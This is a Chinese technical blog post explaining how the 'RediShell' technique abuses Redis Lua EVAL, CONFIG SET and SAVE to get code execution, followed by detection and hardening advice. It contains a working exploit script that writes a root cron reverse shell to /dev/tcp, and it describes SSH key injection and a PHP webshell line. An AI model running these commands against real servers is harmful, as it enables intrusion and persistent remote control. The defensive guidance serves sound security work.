news 2026/9/30 3:11:36

RediShell攻击揭秘:Redis Lua脚本如何沦为RCE突破口

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
RediShell攻击揭秘:Redis Lua脚本如何沦为RCE突破口

最近在看一次内网安全评估报告时又碰到那串熟悉的关键字:6379 端口暴露、CONFIG SET dir、EVAL脚本,最后落盘写了一个 crontab。群里管这套打法叫 RediShell,听起来挺酷,本质上是借着 Redis Lua 脚本引擎的能力做了一次 RCE,直接把一个数据库服务变成了攻击者的远程 shell。这个玩法并不算新,但隔一阵子就会有人用它拿下目标机器,值得好好拆一遍。

这篇文章适合 Redis 运维、平台工程师和安全从业者一起看。如果你正在管一套带 Redis 的线上系统,或者你在做内网渗透,下面这些内容可以帮你搞清楚 RediShell 到底打在哪里、为什么 Lua 会成为突破口、以及如何提前把路堵死。

1. 背景与定位:RediShell 是在打什么

1.1 Redis 高频应用,高价值目标

Redis 恐怕是现在业务系统里普及率最高的组件之一。缓存、Session、分布式锁、限流、异步队列,它都能干。甚至在不少架构里,Redis 的角色已经从“缓存”变成了“核心数据库”,里面存着会话和业务状态。正因为用得多、权限大、部署复杂,Redis 成了攻击者的优先目标。

很多团队部署 Redis 时根本没把它当作一个“可编程服务”来理解,而只是当成一个更快的 KV 存储。于是默认配置一上来:bind 0.0.0.0、没有requirepass、数据目录随便落在/data,进程甚至轻率地以 root 身份运行。这种状态一旦端口暴露到不可信网络,攻击面就是全面打开的。

1.2 RediShell 就是那套“借尸还魂”的武器

RediShell 并不是 Redis 官方发布的工具,也不是某个商业产品的代号,而是安全社区对一类利用脚本的统称。这类脚本的目标很直接:通过 Redis 自带的能力,让攻击者在目标服务器上拿到 shell 执行权限。

它的核心不是破洞,而是“借力”。攻击者连接上未授权的 Redis 后,不需要逆向二进制,也不需要内存漏洞,只靠几条命令就能完成命令执行。Lua 脚本引擎在其中扮演的角色,是让整个利用过程更加紧凑和隐蔽:调用一次EVAL,就可以把配置修改、数据写入、持久化触发全部一次性完成,像写了一段自动化程序一样干净。

这里说的“严重 RCE 威胁”并不是某个特定版本的内存破坏漏洞,而是 Redis 在设计上给了 Lua 脚本过宽的权限,加上默认配置没有收敛,导致一条链路直接通向系统 Shell。

2. 读懂前置条件:EVAL 和 Lua 在 Redis 里的地位

2.1 EVAL 是原子操作的“神兵”也是“暗门”

Redis 从 2.6 开始内置 Lua 解释器,提供EVAL和EVALSHA命令。EVAL的基本写法是把一段 Lua 代码交给 Redis 服务端执行:

EVAL "return redis.call('GET', KEYS[1])" 1 mykey

这条命令会让 Redis 在服务端解析 Lua 脚本,把KEYS[1]替换成mykey,然后通过redis.call('GET', ...)去执行一条 Redis 命令。脚本实现是业务逻辑和原子操作的结合:因为 Redis 是单线程执行命令,Lua 脚本在运行期间不会被打断,所以很多分布式锁、限流器、秒杀减库存都愿意用 Lua 来保证并发安全。

问题也藏在这里:脚本是在 Redis 服务端进程内执行的。它不是一个独立沙箱进程,而是和 Redis 主进程共享内存空间的“寄生代码”。你能在脚本里触发的所有能力,都直接对应到 Redis 的最终权限。

2.2 Lua 沙箱究竟限制了什么

Redis 对 Lua 并不是完全放养,它做了一层沙箱。官方在初始化 Lua 环境时,会删掉一批危险能力,避免脚本搞坏服务器或者读取敏感文件。典型的禁用项包括:os、io、package、debug、loadfile、dofile等。下面是常见的沙箱保留/禁用对照表:

分类典型入口沙箱状态
系统调用os.execute、os.rename移除
文件操作io.open、io.write移除
模块加载package.loadlib、require移除
调试能力debug.getupvalue移除
动态编译loadstring保留但可控
Redis 交互redis.call、redis.pcall保留
工具库string、table、math保留

看到这里,很多人会松一口气:系统调用被删了,文件读写也没了,Lua 脚本不是挺安全的吗?但真正的问题在于,这个沙箱只挡住了“Lua 原生能力”,没有挡住“Redis 自身能力”。

2.3 沙箱并没有挡住危险能力

redis.call是一个从 Lua 打回 Redis 内部命令的桥梁。它执行的结果是 Redis 自己的命令集,而 Redis 的命令集里本来就有非常危险的管理命令:CONFIG SET、SAVE、BGSAVE、SLAVEOF。沙箱没拦这些,也不会替你做访问控制。

这就形成了一个能力边界错位:Lua 沙箱认为自己在管“脚本不越权”,但脚本通过redis.call能调用的 Redis 命令并不受“最小权限原则”约束。也就是说,允许执行 Lua 脚本,等于允许用脚本调用 Redis 的一切可用命令。

RediShell 之所以能“绕”过去,并不是靠什么高级逃逸技巧,而是发现了一个设计边界:“不让你用 os 库” 和 “不让你干坏事” 是两件事。

3. RediShell 漏洞原理:三步拿到系统 Shell

3.1 核心思路:用 CONFIG 写文件,用 SAVE 触发落盘

Redis 支持把内存数据持久化到磁盘。RDB 持久化会把某个时间点的数据稠密地写入一个二进制文件,文件名和目录由dbfilename和dir两个配置决定。这两个配置不但能用CONFIG SET临时改,而且改动后不需要重启即生效。

CONFIG SET可以修改运行中的 Redis 配置,这是官方提供的能力。默认情况下,只要连接是未认证的或已经通过认证,任何人都可以执行。于是“写文件”这个步骤就变成了:

  1. 通过CONFIG SET dir把持久化目录改到攻击者想要的目录。
  2. 通过CONFIG SET dbfilename把文件名改成目标文件名。
  3. 通过SET写入一个包含恶意内容的 key 和 value。
  4. 通过SAVE或BGSAVE触发持久化,目标文件落盘。

听起来像是正常备份流程,实际就是在目标机器任意位置种一个文件。如果 Redis 进程是 root 启动,那能写的范围就是整个文件系统。

3.2 关键命令拆解与构造

以最常见的 crontab 利用为例。假设目标 Redis 进程是 root,攻击者想把恶意命令放进 root 用户的定时任务里。典型 Lua 攻击脚本如下:

local payload = "\n\n*/1 * * * * bash -i >& /dev/tcp/10.0.0.2/9999 0>&1\n\n" redis.call('CONFIG', 'SET', 'dir', '/var/spool/cron/') redis.call('CONFIG', 'SET', 'dbfilename', 'root') redis.call('SET', 'cronline', payload) redis.call('SAVE') return 'ok'

通过EVAL一次性执行:

redis-cli -h 192.168.1.10 -p 6379 EVAL
'local payload = "\n\n*/1 * * * * bash -i >& /dev/tcp/10.0.0.2/9999 0>&1\n\n"; redis.call("CONFIG", "SET", "dir", "/var/spool/cron/"); redis.call("CONFIG", "SET", "dbfilename", "root"); redis.call("SET", "cronline", payload); redis.call("SAVE")' 0

执行完成后,/var/spool/cron/root文件会出现在服务器上。定时任务每一分钟运行一次,触发/bin/bash向攻击者的 IP 发起反弹连接。这里要解释一下:/var/spool/cron/root里面虽然是 Redis 的 RDB 二进制内容,不是干净的 cron 格式,但 cron 解析器会按行读取,只要有一行是有效的定时任务,它就会执行。攻击者在 payload 前后加上大量换行,就是为了让 RDB 文件中那些二进制垃圾被 cron 当作错误行忽略,而真正恶意的那一行会被识别。

3.3 从写文件到反弹 Shell / 逆向后门

crontab 只是其中一个落点,比较常见的还有两种:

  • SSH 公钥写入:把dir改成/root/.ssh/,把dbfilename改成authorized_keys,然后 SET 一个值,值里包含攻击者的 RSA 公钥。之后攻击者可以用对应的私钥直接 SSH 登录目标。
  • 网站目录写 WebShell:如果目标跑着 PHP,可以把持久化文件写到 Web 根目录,写入<?php @eval($_POST['cmd']);?>之类的代码。虽然 RDB 文件头是二进制垃圾,但在某些场景下攻击者可以调整格式让 PHP 引擎尽量忽略非 PHP 标签外的内容,实际利用效果取决于具体环境。

这些落点的共同原理都是:利用 Redis 落盘能力,把控制文件写到攻击者能利用的位置。反弹 shell、公钥登录、WebShell 都只是后续承载恶意代码的方式。RediShell 这类工具会把上述操作封装成一条 EVAL 指令,攻击者只需提供目标 IP、攻击 IP、端口和目标类型,工具自动完成。这也是它被称为“Redis Shell”的原因。

3.4 为什么日常配置会放行

很多人会问:我都开启了密码,也做了 bind 限制,还会被这样打吗?

要回答这个问题,得看你有没有从权限模型上做约束。默认情况下,Redis 的认证只是验证 TCP 连接有没有密码,验证通过之后,所有可用命令是平等的。CONFIG SET和GET在权限上是同一层级,没有“普通用户不能改配置”这种区分。

所以实际情况经常是:

  • 内网 Redis 没密码,防火墙只挡外网,但攻击者已经通过 WebShell 或其他入口拿到内网跳板。
  • 有密码,但密码是redis2020一类弱口令,基本等于没有。
  • 启用了 ACL,但开发图省事给了用户allcommands权限,Redis 的“低权限账号”形同虚设。
  • Redis 容器以 root 启动,数据目录绑定到宿主目录,一条 EVAL 就能写宿主机文件。

任何一条落实,RediShell 都能用起来。真正挡住它的不是密码,而是“能不能执行 CONFIG/SET/SAVE”这套权限组合。

4. 影响范围与利用条件分析

4.1 必须满足的这四个前提

要把 RediShell 从“有漏洞”变成“拿下 shell”,通常需要满足以下条件:

条件说明
Redis 端口可访问6379/TCP 暴露在攻击者网络可达范围内,或在获得内网跳板后可触达
未认证或弱口令攻击者能成功执行命令;ACL 配置不当同样算
CONFIG SET未被禁用Redis 没有用rename-command CONFIG ""来禁用该命令
Redis 进程有写权限进程用户能够写目标目录,比如 root 写/var/spool/cron,或用 redis 用户写 Web 目录

这四个条件缺一个都不行:就算端口暴露,但 Redis 用非 root 跑了,写不进 cron 目录,攻击面就会缩小;就算能写文件,但今天 Redis 已经把 CONFIG 命令禁用,脚本也传不进去。

4.2 真实网络环境中的暴露情况

在互联网上扫描 6379 端口,依然能扫到大量裸奔实例。它们分布在各类云主机、开发测试环境、容器平台里。很多团队以为内网是安全的,实际上内网攻击者可能已经从一个低权限 Web 应用打进来,接着就会扫内部网段的 6379。Redis 往往配置在内网,却只用了requirepass做最基础的卡口,有的密码还被存在代码仓库里。

还有一类常见场景是 Docker 部署。有些部署脚本为了省事,直接做了docker run -d -p 6379:6379 redis:5.0,宿主机的 Redis 端口映射到公网,容器内默认账号没有密码,进程也是 root。这种环境对于 RediShell 来说几乎就是“开箱即用”。

4.3 与纯 Lua 沙箱逃逸的对比

安全文献里还提到另一类 RCE:通过 Lua 沙箱自身的漏洞逃逸出 Lua 运行时,直接调用os.execute。这类漏洞在特定历史版本中真实存在过,需要利用getfenv、setfenv、loadstring等语言特性爬环境,或者用调试接口拿到隐藏的全局表,技术门槛更高。而 RediShell 走的配置滥用路径则完全不同:

对比维度RediShell(配置滥用)Lua 沙箱逃逸
利用复杂度较低,几行命令即可较高,需要构造语言环境逃逸链
版本依赖广泛存在于旧版本和不少新版本通常依赖特定历史版本或老 Lua 解释器
是否绕过 Lua 沙箱不需要,直接使用沙箱内能力需要突破沙箱边界
本质权限模型设计缺陷语言运行时隔离缺陷

两者都说明一件事:把不可信代码放进 Redis 进程执行本身就很危险,不管边界是“配置滥用”还是“语言逃逸”,最终都能通向系统级 RCE。

5. 检测、排查与防御落地

5.1 怎么判断自己是不是中招了

如果怀疑环境中了 RediShell,先检查这些点:

  • 查看/var/spool/cron/下有没有异常的root文件,以及内容是否包含反弹 shell 特征。
  • 查看/etc/cron.d/、/etc/crontab有没有不认识的定时任务。
  • 检查/root/.ssh/authorized_keys是否被追加了陌生公钥。
  • 在 Redis 上用只读命令确认运行中配置:
redis-cli -p 6379 CONFIG GET dir redis-cli -p 6379 CONFIG GET dbfilename

正常环境下dir应该是 Redis 自己的数据目录,比如/var/lib/redis;如果变成/var/spool/cron或者/tmp这种明显不属于 Redis 持久化的目录,就需要重点排查。

  • 查看 Redis 命令统计,看config命令是否有大量非业务调用:
redis-cli -p 6379 INFO commandstats | grep -i config

5.2 修复与加固清单

防御 RediShell,核心思路是把“让攻击者具备利用条件”的路一条条堵死:

  1. 网络隔离:Redis 只允许业务服务器通过内网访问,防火墙关闭公网 6379 入站;容器映射只绑定可信网卡。
  2. 启用强认证:生成随机强度足够复杂的requirepass,不使用redis、password等常见弱口令。
  3. 升级 Redis 版本并启用 ACL:为每个业务独立账号分配最小权限;业务账号不包含CONFIG、SAVE、BGSAVE、SLAVEOF、SCRIPT等管理命令权限。
  4. 显式禁用高风险命令:如果业务不需要通过命令行改动配置,可以在redis.conf里用重命名方式屏蔽:
rename-command CONFIG "" rename-command EVAL "" rename-command EVALSHA ""

注意生产环境要确认业务脚本没依赖这些命令,否则会误伤。

  1. 低权限运行 Redis:创建独立系统用户(如redis),确保进程不拥有 root 权限;数据目录的所有权也归属于该用户,避免任何写/var/spool/cron、/root/.ssh的可能。
  2. 修改持久化文件名和目录:可以考虑限制dbfilename只允许固定值,防止攻击者改写成任意文件名。
  3. 开启日志和审计:记录EVAL、CONFIG SET、SAVE等事件,并接入外部监控告警。

5.3 本地复现实验注意事项

如果你打算在本地环境验证这个利用链,请一定在隔离的虚拟机或 Docker 容器内执行,绝不能对着互联网资产测试。推荐流程:

docker run -d --name redis-poc -p 6379:6379 -e ALLOW_EMPTY_PASSWORD=yes bitnami/redis:5.0

然后使用redis-cli连接,执行前面给出的 EVAL 脚本。观察SAVE之后/var/spool/cron/root文件是否生成。这个实验能帮助你直观理解“为什么 Lua 脚本可以随意修改 Redis 配置”。实验结束后,立刻销毁容器,不要留下脏数据。

这里提醒一句:不要把 PoC 直接改一改就丢进客户环境里跑。安全测试需要授权,复现只能作为技术和防御研究的一部分,目的是把风险讲清楚,而不是滥用工具。

6. 一点个人经验

我做过的几次 Redis 相关安全自查里,最常见的误区是团队认为“开了密码就安全”。实际上,密码只是第一道门,真正致命的是 Redis 的命令权限完全没有细粒度控制。很多开发框架为了追求性能,会在业务代码里频繁使用EVAL,这本身就要求 Redis 开放脚本执行能力。如果这个时候 Redis 还能写任意目录、还能有 root 权限,那一条漏出的服务密码就可能演变成主机沦陷。

另一个容易被忽略的点是监控:很多环境里,Redis 日志根本没接入统一采集,所以即使攻击者已经用 EVAL 写过 cron 文件、弹过 shell,你都不知道它是怎么进来的。建议至少把 Redis 的命令调用统计做成定时巡检,尤其是CONFIG、SAVE、EVAL这三类命令的使用频率和来源 IP,发现异常及时排查。

最后再说一个小技巧:除了禁用CONFIG,还可以在redis.conf中把save ""写进去,彻底关掉 RDB 持久化。如果业务完全不需要 RDB,这个动作可以单独堵住 RediShell 最关键的“落盘”环节。如果必须使用 RDB,则要把持久化目录权限配置得非常严格,只允许 Redis 数据目录可写。每一层少一个条件,攻击者就少一分机会。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/30 3:11:34

WiFi大师专业版4.0.5独立部署与流量主广告接入实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/30 3:10:21

HTTPS下GET与POST的实战区别:从协议语义到工具验证

先抛个引子&#xff1a;上个月有个做前端的同事跑来问我&#xff0c;为什么他用fetch发的请求&#xff0c;明明写了method: POST&#xff0c;后端收到的却是GET。我让他把代码里的大小写拍给我看&#xff0c;果然是写成了Method: get。这还不是最离谱的&#xff0c;另一个搞测试…

作者头像 李华
网站建设 2026/9/30 3:09:56

系统对接接口方案全解析:从设计原则到API落地的避坑指南

简介&#xff1a;《软件系统平台对接接口方案文档》面向系统集成、软件开发及平台对接人员&#xff0c;系统阐述了不同软件系统间高效、稳定、安全对接的技术路径&#xff0c;覆盖接口设计原则、接口分类、设计模式与API实现方式等核心内容。文档强调高内聚、低耦合与SOA组件化…

作者头像 李华
网站建设 2026/9/30 3:09:38

SpringBoot+Vue精准扶贫管理系统设计与实现全流程解析

这几年找我聊计算机毕业设计的人&#xff0c;问得最多的一种题目就是“SpringBootVue精准扶贫管理系统”。说实话&#xff0c;这类题看起来不复杂&#xff0c;但真正能跑起来、能写进论文、能顺利通过答辩的版本并不太多。很多人卡在前后端联调、权限控制、报表统计这些真实工程…

作者头像 李华
网站建设 2026/9/30 3:09:20

Java短信API集成实战:Spring Boot+阿里云SDK示例代码与踩坑指南

做Java开发的这几年&#xff0c;几乎每个项目都会碰到短信发送的需求。注册验证码、登录提醒、订单状态通知、告警推送&#xff0c;短信看着不起眼&#xff0c;但真要自己从零对接一遍&#xff0c;坑多得能让你怀疑人生。这篇文章就围绕“java短信API示例代码”这个主题&#x…

作者头像 李华
网站建设 2026/9/30 3:09:18

Java短信API集成实战:Spring Boot对接阿里云短信SDK完整示例

做Java开发这几年&#xff0c;几乎每个项目都会撞上同一个需求&#xff1a;在业务里塞一条短信验证码或通知。短信这个东西&#xff0c;听起来简单&#xff0c;但真要自己从零对接运营商协议、维护通道&#xff0c;那绝对是给自己挖坑。大多数时候我们的正确姿势是接入云厂商提…

作者头像 李华